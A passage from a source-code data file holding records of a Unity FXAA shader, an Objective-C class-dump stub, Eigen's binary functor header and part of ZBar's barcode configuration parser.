chooses a pixel pair. \nFor \"horzSpan == true\" this will be a vertical pair,\n \n [N] N\n [M] or [M]\n S [S]\n \nNote following this block, both {N,M} and {S,M} cases\nflow in parallel (reusing the {N,M} variables).\n \nThis pair of image rows or columns is searched below\nin the positive and negative direction \nuntil edge status changes \n(or the maximum number of search steps is reached).\n----------------------------------------------------------------------------*/ \n bool pairN = gradientN >= gradientS;\n #if FXAA_DEBUG_PAIR\n if(pairN) return FxaaFilterReturn(FxaaFloat3(0.0, 0.0, 1.0));\n else return FxaaFilterReturn(FxaaFloat3(0.0, 1.0, 0.0));\n #endif\n if(!pairN) lumaN = lumaS;\n if(!pairN) gradientN = gradientS;\n if(!pairN) lengthSign *= -1.0;\n float2 posN;\n posN.x = pos.x + (horzSpan ? 0.0 : lengthSign * 0.5);\n posN.y = pos.y + (horzSpan ? lengthSign * 0.5 : 0.0);\n \n/*----------------------------------------------------------------------------\n CHOOSE SEARCH LIMITING VALUES\n------------------------------------------------------------------------------\nSearch limit (+/- gradientN) is a function of local gradient.\n----------------------------------------------------------------------------*/\n gradientN *= FXAA_SEARCH_THRESHOLD;\n \n/*----------------------------------------------------------------------------\n SEARCH IN BOTH DIRECTIONS UNTIL FIND LUMA PAIR AVERAGE IS OUT OF RANGE\n------------------------------------------------------------------------------\nThis loop searches either in vertical or horizontal directions,\nand in both the negative and positive direction in parallel.\nThis loop fusion is faster than searching separately.\n \nThe search is accelerated using FXAA_SEARCH_ACCELERATION length box filter\nvia anisotropic filtering with specified texture gradients.\n----------------------------------------------------------------------------*/\n float2 posP = posN;\n float2 offNP = horzSpan ? \n FxaaFloat2(rcpFrame.x, 0.0) :\n FxaaFloat2(0.0f, rcpFrame.y); \n float lumaEndN = lumaN;\n float lumaEndP = lumaN;\n bool doneN = false;\n bool doneP = false;\n #if FXAA_SEARCH_ACCELERATION == 1\n posN += offNP * FxaaFloat2(-1.0, -1.0);\n posP += offNP * FxaaFloat2( 1.0, 1.0);\n #endif\n #if FXAA_SEARCH_ACCELERATION == 2\n posN += offNP * FxaaFloat2(-1.5, -1.5);\n posP += offNP * FxaaFloat2( 1.5, 1.5);\n offNP *= FxaaFloat2(2.0, 2.0);\n #endif\n #if FXAA_SEARCH_ACCELERATION == 3\n posN += offNP * FxaaFloat2(-2.0, -2.0);\n posP += offNP * FxaaFloat2( 2.0, 2.0);\n offNP *= FxaaFloat2(3.0, 3.0);\n #endif\n #if FXAA_SEARCH_ACCELERATION == 4\n posN += offNP * FxaaFloat2(-2.5, -2.5);\n posP += offNP * FxaaFloat2( 2.5, 2.5);\n offNP *= FxaaFloat2(4.0, 4.0);\n #endif\n for(int i = 0; i < FXAA_SEARCH_STEPS; i++) {\n #if FXAA_SEARCH_ACCELERATION == 1\n if(!doneN) lumaEndN = \n FxaaLuma(FxaaTexLod0(tex, posN.xy).xyz);\n if(!doneP) lumaEndP = \n FxaaLuma(FxaaTexLod0(tex, posP.xy).xyz);\n #else\n if(!doneN) lumaEndN = \n FxaaLuma(FxaaTexGrad(tex, posN.xy, offNP).xyz);\n if(!doneP) lumaEndP = \n FxaaLuma(FxaaTexGrad(tex, posP.xy, offNP).xyz);\n #endif\n doneN = doneN || (abs(lumaEndN - lumaN) >= gradientN);\n doneP = doneP || (abs(lumaEndP - lumaN) >= gradientN);\n if(doneN && doneP) break;\n if(!doneN) posN -= offNP;\n if(!doneP) posP += offNP; }\n \n/*----------------------------------------------------------------------------\n HANDLE IF CENTER IS ON POSITIVE OR NEGATIVE SIDE \n------------------------------------------------------------------------------\nFXAA uses the pixel's position in the span \nin combination with the values (lumaEnd*) at the ends of the span,\nto determine filtering.\n \nThis step computes which side of the span the pixel is on. \nOn negative side if dstN < dstP,\n \n posN pos posP\n |-----------|------|------------------|\n | | | | \n |<--dstN--->|<---------dstP---------->|\n |\n span center\n \n----------------------------------------------------------------------------*/\n float dstN = horzSpan ? pos.x - posN.x : pos.y - posN.y;\n float dstP = horzSpan ? posP.x - pos.x : posP.y - pos.y;\n bool directionN = dstN < dstP;\n #if FXAA_DEBUG_NEGPOS\n if(directionN) return FxaaFilterReturn(FxaaFloat3(1.0, 0.0, 0.0));\n else return FxaaFilterReturn(FxaaFloat3(0.0, 0.0, 1.0));\n #endif\n lumaEndN = directionN ? lumaEndN : lumaEndP;\n \n/*----------------------------------------------------------------------------\n CHECK IF PIXEL IS IN SECTION OF SPAN WHICH GETS NO FILTERING\n------------------------------------------------------------------------------\nIf both the pair luma at the end of the span (lumaEndN) \nand middle pixel luma (lumaM)\nare on the same side of the middle pair average luma (lumaN),\nthen don't filter.\n \nCases,\n \n(1.) \"L\",\n \n lumaM\n |\n V XXXXXXXX <- other line averaged\n XXXXXXX[X]XXXXXXXXXXX <- source pixel line\n | . | \n -------------------------- \n [ ]xxxxxx[x]xx[X]XXXXXX <- pair average\n -------------------------- \n ^ ^ ^ ^\n | | | |\n . |<---->|<---------- no filter region\n . | | |\n . center | |\n . | lumaEndN \n . | .\n . lumaN .\n . .\n |<--- span -->|\n \n \n(2.) \"^\" and \"-\",\n \n <- other line averaged\n XXXXX[X]XXX <- source pixel line\n | | | \n -------------------------- \n [ ]xxxx[x]xx[ ] <- pair average\n -------------------------- \n | | |\n |<--->|<--->|<---------- filter both sides\n \n \n(3.) \"v\" and inverse of \"-\",\n \n XXXXXX XXXXXXXXX <- other line averaged\n XXXXXXXXXXX[X]XXXXXXXXXXXX <- source pixel line\n | | |\n -------------------------- \n XXXX[X]xxxx[x]xx[X]XXXXXXX <- pair average\n -------------------------- \n | | |\n |<--->|<--->|<---------- don't filter both!\n \n \nNote the \"v\" case for FXAA requires no filtering.\nThis is because the inverse of the \"-\" case is the \"v\".\nFiltering \"v\" case turns open spans like this,\n \n XXXXXXXXX\n \nInto this (which is not desired),\n \n x+. .+x\n XXXXXXXXX\n \n----------------------------------------------------------------------------*/\n if(((lumaM - lumaN) < 0.0) == ((lumaEndN - lumaN) < 0.0)) \n lengthSign = 0.0;\n \n/*----------------------------------------------------------------------------\n COMPUTE SUB-PIXEL OFFSET AND FILTER SPAN\n------------------------------------------------------------------------------\nFXAA filters using a bilinear texture fetch offset \nfrom the middle pixel M towards the center of the pair (NM below).\nMaximum filtering will be half way between pair.\nReminder, at this point in the code, \nthe {N,M} pair is also reused for all cases: {S,M}, {W,M}, and {E,M}.\n \n +-------+\n | | 0.5 offset\n | N | |\n | | V\n +-------+....---\n | |\n | M...|....---\n | | ^\n +-------+ |\n . . 0.0 offset\n . S .\n . .\n .........\n \nPosition on span is used to compute sub-pixel filter offset using simple ramp,\n \n posN posP\n |\\ |<------- 0.5 pixel offset into pair pixel\n | \\ |\n | \\ |\n ---.......|...\\..........|<------- 0.25 pixel offset into pair pixel\n ^ | ^\\ |\n | | | \\ |\n V | | \\ |\n ---.......|===|==========|<------- 0.0 pixel offset (ie M pixel)\n ^ . | ^ .\n | . pos | .\n | . . | .\n | . . center .\n | . . .\n | |<->|<---------.-------- dstN\n | . . . \n | . |<-------->|<------- dstP \n | . .\n | |<------------>|<------- spanLength \n |\n subPixelOffset\n \n----------------------------------------------------------------------------*/\n float spanLength = (dstP + dstN);\n dstN = directionN ? dstN : dstP;\n float subPixelOffset = (0.5 + (dstN * (-1.0/spanLength))) * lengthSign;\n #if FXAA_DEBUG_OFFSET\n float ox = horzSpan ? 0.0 : subPixelOffset*2.0/rcpFrame.x;\n float oy = horzSpan ? subPixelOffset*2.0/rcpFrame.y : 0.0;\n if(ox < 0.0) return FxaaFilterReturn(\n FxaaLerp3(FxaaToFloat3(lumaO), \n FxaaFloat3(1.0, 0.0, 0.0), -ox));\n if(ox > 0.0) return FxaaFilterReturn(\n FxaaLerp3(FxaaToFloat3(lumaO), \n FxaaFloat3(0.0, 0.0, 1.0), ox));\n if(oy < 0.0) return FxaaFilterReturn(\n FxaaLerp3(FxaaToFloat3(lumaO), \n FxaaFloat3(1.0, 0.6, 0.2), -oy));\n if(oy > 0.0) return FxaaFilterReturn(\n FxaaLerp3(FxaaToFloat3(lumaO), \n FxaaFloat3(0.2, 0.6, 1.0), oy));\n return FxaaFilterReturn(FxaaFloat3(lumaO, lumaO, lumaO));\n #endif\n float3 rgbF = FxaaTexLod0(tex, FxaaFloat2(\n pos.x + (horzSpan ? 0.0 : subPixelOffset),\n pos.y + (horzSpan ? subPixelOffset : 0.0))).xyz;\n #if FXAA_SUBPIX == 0\n return FxaaFilterReturn(rgbF); \n #else \n return FxaaFilterReturn(FxaaLerp3(rgbL, rgbF, blendL)); \n #endif\n}\n\n\n\nstruct v2f {\n\tfloat4 pos : SV_POSITION;\n\tfloat2 uv : TEXCOORD0;\n};\n\nv2f vert (appdata_img v)\n{\n\tv2f o;\n\to.pos = UnityObjectToClipPos (v.vertex);\n\to.uv = v.texcoord.xy;\n\treturn o;\n}\n\nsampler2D _MainTex;\nfloat4 _MainTex_TexelSize;\n\nfloat4 frag (v2f i) : SV_Target\n{\n\treturn float4(FxaaPixelShader(i.uv.xy, _MainTex, _MainTex_TexelSize.xy).xyz, 0.0f);\n}\n\t\nENDCG\n\t}\n}\n\nFallback \"Hidden/FXAA II\"\n}\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n@protocol ILMediaManagerPlugin_MustImplement\n@end\n\n"} +{"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2008-2010 Gael Guennebaud \n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#ifndef EIGEN_BINARY_FUNCTORS_H\n#define EIGEN_BINARY_FUNCTORS_H\n\nnamespace Eigen {\n\nnamespace internal {\n\n//---------- associative binary functors ----------\n\ntemplate\nstruct binary_op_base\n{\n typedef Arg1 first_argument_type;\n typedef Arg2 second_argument_type;\n};\n\n/** \\internal\n * \\brief Template functor to compute the sum of two scalars\n *\n * \\sa class CwiseBinaryOp, MatrixBase::operator+, class VectorwiseOp, DenseBase::sum()\n */\ntemplate\nstruct scalar_sum_op : binary_op_base\n{\n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n#ifndef EIGEN_SCALAR_BINARY_OP_PLUGIN\n EIGEN_EMPTY_STRUCT_CTOR(scalar_sum_op)\n#else\n scalar_sum_op() {\n EIGEN_SCALAR_BINARY_OP_PLUGIN\n }\n#endif\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const LhsScalar& a, const RhsScalar& b) const { return a + b; }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a, const Packet& b) const\n { return internal::padd(a,b); }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type predux(const Packet& a) const\n { return internal::predux(a); }\n};\ntemplate\nstruct functor_traits > {\n enum {\n Cost = (NumTraits::AddCost+NumTraits::AddCost)/2, // rough estimate!\n PacketAccess = is_same::value && packet_traits::HasAdd && packet_traits::HasAdd\n // TODO vectorize mixed sum\n };\n};\n\n/** \\internal\n * \\brief Template specialization to deprecate the summation of boolean expressions.\n * This is required to solve Bug 426.\n * \\sa DenseBase::count(), DenseBase::any(), ArrayBase::cast(), MatrixBase::cast()\n */\ntemplate<> struct scalar_sum_op : scalar_sum_op {\n EIGEN_DEPRECATED\n scalar_sum_op() {}\n};\n\n\n/** \\internal\n * \\brief Template functor to compute the product of two scalars\n *\n * \\sa class CwiseBinaryOp, Cwise::operator*(), class VectorwiseOp, MatrixBase::redux()\n */\ntemplate\nstruct scalar_product_op : binary_op_base\n{\n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n#ifndef EIGEN_SCALAR_BINARY_OP_PLUGIN\n EIGEN_EMPTY_STRUCT_CTOR(scalar_product_op)\n#else\n scalar_product_op() {\n EIGEN_SCALAR_BINARY_OP_PLUGIN\n }\n#endif\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const LhsScalar& a, const RhsScalar& b) const { return a * b; }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a, const Packet& b) const\n { return internal::pmul(a,b); }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type predux(const Packet& a) const\n { return internal::predux_mul(a); }\n};\ntemplate\nstruct functor_traits > {\n enum {\n Cost = (NumTraits::MulCost + NumTraits::MulCost)/2, // rough estimate!\n PacketAccess = is_same::value && packet_traits::HasMul && packet_traits::HasMul\n // TODO vectorize mixed product\n };\n};\n\n/** \\internal\n * \\brief Template functor to compute the conjugate product of two scalars\n *\n * This is a short cut for conj(x) * y which is needed for optimization purpose; in Eigen2 support mode, this becomes x * conj(y)\n */\ntemplate\nstruct scalar_conj_product_op : binary_op_base\n{\n\n enum {\n Conj = NumTraits::IsComplex\n };\n \n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n \n EIGEN_EMPTY_STRUCT_CTOR(scalar_conj_product_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const LhsScalar& a, const RhsScalar& b) const\n { return conj_helper().pmul(a,b); }\n \n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a, const Packet& b) const\n { return conj_helper().pmul(a,b); }\n};\ntemplate\nstruct functor_traits > {\n enum {\n Cost = NumTraits::MulCost,\n PacketAccess = internal::is_same::value && packet_traits::HasMul\n };\n};\n\n/** \\internal\n * \\brief Template functor to compute the min of two scalars\n *\n * \\sa class CwiseBinaryOp, MatrixBase::cwiseMin, class VectorwiseOp, MatrixBase::minCoeff()\n */\ntemplate\nstruct scalar_min_op : binary_op_base\n{\n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_min_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const LhsScalar& a, const RhsScalar& b) const { return numext::mini(a, b); }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a, const Packet& b) const\n { return internal::pmin(a,b); }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type predux(const Packet& a) const\n { return internal::predux_min(a); }\n};\ntemplate\nstruct functor_traits > {\n enum {\n Cost = (NumTraits::AddCost+NumTraits::AddCost)/2,\n PacketAccess = internal::is_same::value && packet_traits::HasMin\n };\n};\n\n/** \\internal\n * \\brief Template functor to compute the max of two scalars\n *\n * \\sa class CwiseBinaryOp, MatrixBase::cwiseMax, class VectorwiseOp, MatrixBase::maxCoeff()\n */\ntemplate\nstruct scalar_max_op : binary_op_base\n{\n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_max_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const LhsScalar& a, const RhsScalar& b) const { return numext::maxi(a, b); }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a, const Packet& b) const\n { return internal::pmax(a,b); }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type predux(const Packet& a) const\n { return internal::predux_max(a); }\n};\ntemplate\nstruct functor_traits > {\n enum {\n Cost = (NumTraits::AddCost+NumTraits::AddCost)/2,\n PacketAccess = internal::is_same::value && packet_traits::HasMax\n };\n};\n\n/** \\internal\n * \\brief Template functors for comparison of two scalars\n * \\todo Implement packet-comparisons\n */\ntemplate struct scalar_cmp_op;\n\ntemplate\nstruct functor_traits > {\n enum {\n Cost = (NumTraits::AddCost+NumTraits::AddCost)/2,\n PacketAccess = false\n };\n};\n\ntemplate\nstruct result_of(LhsScalar,RhsScalar)> {\n typedef bool type;\n};\n\n\ntemplate\nstruct scalar_cmp_op : binary_op_base\n{\n typedef bool result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_cmp_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator()(const LhsScalar& a, const RhsScalar& b) const {return a==b;}\n};\ntemplate\nstruct scalar_cmp_op : binary_op_base\n{\n typedef bool result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_cmp_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator()(const LhsScalar& a, const RhsScalar& b) const {return a\nstruct scalar_cmp_op : binary_op_base\n{\n typedef bool result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_cmp_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator()(const LhsScalar& a, const RhsScalar& b) const {return a<=b;}\n};\ntemplate\nstruct scalar_cmp_op : binary_op_base\n{\n typedef bool result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_cmp_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator()(const LhsScalar& a, const RhsScalar& b) const {return a>b;}\n};\ntemplate\nstruct scalar_cmp_op : binary_op_base\n{\n typedef bool result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_cmp_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator()(const LhsScalar& a, const RhsScalar& b) const {return a>=b;}\n};\ntemplate\nstruct scalar_cmp_op : binary_op_base\n{\n typedef bool result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_cmp_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator()(const LhsScalar& a, const RhsScalar& b) const {return !(a<=b || b<=a);}\n};\ntemplate\nstruct scalar_cmp_op : binary_op_base\n{\n typedef bool result_type;\n EIGEN_EMPTY_STRUCT_CTOR(scalar_cmp_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator()(const LhsScalar& a, const RhsScalar& b) const {return a!=b;}\n};\n\n\n/** \\internal\n * \\brief Template functor to compute the hypot of two scalars\n *\n * \\sa MatrixBase::stableNorm(), class Redux\n */\ntemplate\nstruct scalar_hypot_op : binary_op_base\n{\n EIGEN_EMPTY_STRUCT_CTOR(scalar_hypot_op)\n// typedef typename NumTraits::Real result_type;\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Scalar operator() (const Scalar& _x, const Scalar& _y) const\n {\n EIGEN_USING_STD_MATH(sqrt)\n Scalar p, qp;\n if(_x>_y)\n {\n p = _x;\n qp = _y / p;\n }\n else\n {\n p = _y;\n qp = _x / p;\n }\n return p * sqrt(Scalar(1) + qp*qp);\n }\n};\ntemplate\nstruct functor_traits > {\n enum\n {\n Cost = 3 * NumTraits::AddCost +\n 2 * NumTraits::MulCost +\n 2 * scalar_div_cost::value,\n PacketAccess = false\n };\n};\n\n/** \\internal\n * \\brief Template functor to compute the pow of two scalars\n */\ntemplate\nstruct scalar_pow_op : binary_op_base\n{\n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n#ifndef EIGEN_SCALAR_BINARY_OP_PLUGIN\n EIGEN_EMPTY_STRUCT_CTOR(scalar_pow_op)\n#else\n scalar_pow_op() {\n typedef Scalar LhsScalar;\n typedef Exponent RhsScalar;\n EIGEN_SCALAR_BINARY_OP_PLUGIN\n }\n#endif\n EIGEN_DEVICE_FUNC\n inline result_type operator() (const Scalar& a, const Exponent& b) const { return numext::pow(a, b); }\n};\ntemplate\nstruct functor_traits > {\n enum { Cost = 5 * NumTraits::MulCost, PacketAccess = false };\n};\n\n\n\n//---------- non associative binary functors ----------\n\n/** \\internal\n * \\brief Template functor to compute the difference of two scalars\n *\n * \\sa class CwiseBinaryOp, MatrixBase::operator-\n */\ntemplate\nstruct scalar_difference_op : binary_op_base\n{\n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n#ifndef EIGEN_SCALAR_BINARY_OP_PLUGIN\n EIGEN_EMPTY_STRUCT_CTOR(scalar_difference_op)\n#else\n scalar_difference_op() {\n EIGEN_SCALAR_BINARY_OP_PLUGIN\n }\n#endif\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const LhsScalar& a, const RhsScalar& b) const { return a - b; }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a, const Packet& b) const\n { return internal::psub(a,b); }\n};\ntemplate\nstruct functor_traits > {\n enum {\n Cost = (NumTraits::AddCost+NumTraits::AddCost)/2,\n PacketAccess = is_same::value && packet_traits::HasSub && packet_traits::HasSub\n };\n};\n\n/** \\internal\n * \\brief Template functor to compute the quotient of two scalars\n *\n * \\sa class CwiseBinaryOp, Cwise::operator/()\n */\ntemplate\nstruct scalar_quotient_op : binary_op_base\n{\n typedef typename ScalarBinaryOpTraits::ReturnType result_type;\n#ifndef EIGEN_SCALAR_BINARY_OP_PLUGIN\n EIGEN_EMPTY_STRUCT_CTOR(scalar_quotient_op)\n#else\n scalar_quotient_op() {\n EIGEN_SCALAR_BINARY_OP_PLUGIN\n }\n#endif\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const LhsScalar& a, const RhsScalar& b) const { return a / b; }\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a, const Packet& b) const\n { return internal::pdiv(a,b); }\n};\ntemplate\nstruct functor_traits > {\n typedef typename scalar_quotient_op::result_type result_type;\n enum {\n PacketAccess = is_same::value && packet_traits::HasDiv && packet_traits::HasDiv,\n Cost = scalar_div_cost::value\n };\n};\n\n\n\n/** \\internal\n * \\brief Template functor to compute the and of two booleans\n *\n * \\sa class CwiseBinaryOp, ArrayBase::operator&&\n */\nstruct scalar_boolean_and_op {\n EIGEN_EMPTY_STRUCT_CTOR(scalar_boolean_and_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator() (const bool& a, const bool& b) const { return a && b; }\n};\ntemplate<> struct functor_traits {\n enum {\n Cost = NumTraits::AddCost,\n PacketAccess = false\n };\n};\n\n/** \\internal\n * \\brief Template functor to compute the or of two booleans\n *\n * \\sa class CwiseBinaryOp, ArrayBase::operator||\n */\nstruct scalar_boolean_or_op {\n EIGEN_EMPTY_STRUCT_CTOR(scalar_boolean_or_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator() (const bool& a, const bool& b) const { return a || b; }\n};\ntemplate<> struct functor_traits {\n enum {\n Cost = NumTraits::AddCost,\n PacketAccess = false\n };\n};\n\n/** \\internal\n * \\brief Template functor to compute the xor of two booleans\n *\n * \\sa class CwiseBinaryOp, ArrayBase::operator^\n */\nstruct scalar_boolean_xor_op {\n EIGEN_EMPTY_STRUCT_CTOR(scalar_boolean_xor_op)\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool operator() (const bool& a, const bool& b) const { return a ^ b; }\n};\ntemplate<> struct functor_traits {\n enum {\n Cost = NumTraits::AddCost,\n PacketAccess = false\n };\n};\n\n\n\n//---------- binary functors bound to a constant, thus appearing as a unary functor ----------\n\n// The following two classes permits to turn any binary functor into a unary one with one argument bound to a constant value.\n// They are analogues to std::binder1st/binder2nd but with the following differences:\n// - they are compatible with packetOp\n// - they are portable across C++ versions (the std::binder* are deprecated in C++11)\ntemplate struct bind1st_op : BinaryOp {\n\n typedef typename BinaryOp::first_argument_type first_argument_type;\n typedef typename BinaryOp::second_argument_type second_argument_type;\n typedef typename BinaryOp::result_type result_type;\n\n bind1st_op(const first_argument_type &val) : m_value(val) {}\n\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const second_argument_type& b) const { return BinaryOp::operator()(m_value,b); }\n\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& b) const\n { return BinaryOp::packetOp(internal::pset1(m_value), b); }\n\n first_argument_type m_value;\n};\ntemplate struct functor_traits > : functor_traits {};\n\n\ntemplate struct bind2nd_op : BinaryOp {\n\n typedef typename BinaryOp::first_argument_type first_argument_type;\n typedef typename BinaryOp::second_argument_type second_argument_type;\n typedef typename BinaryOp::result_type result_type;\n\n bind2nd_op(const second_argument_type &val) : m_value(val) {}\n\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const result_type operator() (const first_argument_type& a) const { return BinaryOp::operator()(a,m_value); }\n\n template\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE const Packet packetOp(const Packet& a) const\n { return BinaryOp::packetOp(a,internal::pset1(m_value)); }\n\n second_argument_type m_value;\n};\ntemplate struct functor_traits > : functor_traits {};\n\n\n} // end namespace internal\n\n} // end namespace Eigen\n\n#endif // EIGEN_BINARY_FUNCTORS_H\n"} +{"text": "/*------------------------------------------------------------------------\n * Copyright 2008-2010 (c) Jeff Brown \n *\n * This file is part of the ZBar Bar Code Reader.\n *\n * The ZBar Bar Code Reader is free software; you can redistribute it\n * and/or modify it under the terms of the GNU Lesser Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * The ZBar Bar Code Reader is distributed in the hope that it will be\n * useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser Public License for more details.\n *\n * You should have received a copy of the GNU Lesser Public License\n * along with the ZBar Bar Code Reader; if not, write to the Free\n * Software Foundation, Inc., 51 Franklin St, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * http://sourceforge.net/projects/zbar\n *------------------------------------------------------------------------*/\n\n#include \n#include /* strtol */\n#include /* strchr, strncmp, strlen */\n#ifdef HAVE_ERRNO_H\n# include \n#endif\n\n#include \n\nint zbar_parse_config (const char *cfgstr,\n zbar_symbol_type_t *sym,\n zbar_config_t *cfg,\n int *val)\n{\n const char *dot, *eq;\n int len;\n char negate;\n if(!cfgstr)\n return(1);\n\n dot = strchr(cfgstr, '.');\n if(dot) {\n int len = dot - cfgstr;\n if(!len || (len == 1 && !strncmp(cfgstr, \"*\", len)))\n *sym = 0;\n else if(len < 2)\n return(1);\n else if(!strncmp(cfgstr, \"qrcode\", len))\n *sym = ZBAR_QRCODE;\n else if(!strncmp(cfgstr, \"db\", len))\n *sym = ZBAR_DATABAR;\n else if(len < 3)\n return(1);\n else if(!strncmp(cfgstr, \"upca\", len))\n *sym = ZBAR_UPCA;\n else if(!strncmp(cfgstr, \"upce\", len))\n *sym = ZBAR_UPCE;\n else if(!strncmp(cfgstr, \"ean13\", len))\n *sym = ZBAR_EAN13;\n else if(!strncmp(cfgstr, \"ean8\", len))\n *sym = ZBAR_EAN8;\n else if(!strncmp(cfgstr, \"ean5\", len))\n *sym = ZBAR_EAN5;\n else if(!strncmp(cfgstr, \"ean2\", len))\n *sym = ZBAR_EAN2;\n else if(!strncmp(cfgstr, \"composite\", len))\n *sym = ZBAR_COMPOSITE;\n else if(!strncmp(cfgstr, \"i25\", len))\n *sym = ZBAR_I25;\n else if(len < 4)\n return(1);\n else if(!strncmp(cfgstr, \"scanner\", len))\n *sym = ZBAR_PARTIAL; /* FIXME lame */\n else if(!strncmp(cfgstr, \"isbn13\", len))\n *sym = ZBAR_ISBN13;\n else if(!strncmp(cfgstr, \"isbn10\", len))\n *sym = ZBAR_ISBN10;\n else if(!strncmp(cfgstr, \"db-exp\", len))\n *sym = ZBAR_DATABAR_EXP;\n else if(!strncmp(cfgstr, \"codabar\", len))\n *sym = ZBAR_CODABAR;\n else if(len < 6)\n return(1);\n else if(!strncmp(cfgstr, \"code93\", len))\n *sym = ZBAR_CODE93;\n else if(!strncmp(cfgstr, \"code39\", len))\n *sym = ZBAR_CODE39;\n else if(!strncmp(cfgstr, \"pdf417\", len))\n *sym = ZBAR_PDF417;\n else if(len < 7)\n return(1);\n else if(!strncmp(cfgstr, \"code128\", len))\n *sym = ZBAR_CODE128;\n else if(!strncmp(cfgstr, \"databar\", len))\n *sym = ZBAR_DATABAR;\n else if(!strncmp(cfgstr, \"databar-exp\", len))\n *sym = ZBAR_DATABAR_EXP;\n else\n return(1);\n cfgstr = dot + 1;\n }\n else\n *sym = 0;\n\n len = strlen(cfgstr);\n eq = strchr(cfgstr, '=');\n if(eq)\n len = eq - cfgstr;\n else\n *val = 1; /* handle this here so we can override later */\n negate = 0;\n\n if(len > 3 && !strncmp(cfgstr, \"no-\", 3)) {\n negate = 1;\n cfgstr += 3;\n len -= 3;\n }\n\n if(len < 1)\n return(1);\n else if(!strncmp(cfgstr, \"y-density\", len))\n *cfg = ZBAR_CFG_Y_DENSITY;\n else if(!strncmp(cfgstr, \"x-density\", len))\n *cfg = ZBAR_CFG_X_DENSITY;\n else if(len < 2)\n return(1);\n else if(!strncmp(cfgstr, \"enable\", len))\n *cfg = ZBAR_CFG_ENABLE;\n else if(len < 3)\n return(1);\n else if(!strncmp(cfgstr, \"disable\", len)) {\n *cfg = ZBAR_CFG_ENABLE;\n negate = !negate; /* no-disable ?!? */\n }\n else if(!strncmp(cfgstr, \"min-length\", len))\n *cfg = ZBAR_CFG_MIN_LEN;\n else if(!strncmp(cfgstr, \"max-length\", len))\n *cfg = ZBAR_CFG_MAX_LEN;\n else if(!strncmp(cfgstr, \"ascii\", len))\n *cfg = ZBAR_CFG_ASCII;\n else if(!strncmp(cfgstr, \"add-check\", len))\n *cfg = ZBAR_CFG_ADD_CHECK;\n else if(!strncmp(cfgstr, \"emit-check\", len))\n *cfg = ZBAR_CFG_EMIT_CHECK;\n else if(!strncmp(cfgstr, \"uncertainty\", len))\n *cfg = ZBAR_CFG_UNCERTAINTY;\n else if(!strncmp(cfgstr, \"position\", len))\n *cfg = ZBAR_CFG_POSITION;\n else \n return(1);\n\n if(eq) {\n#ifdef 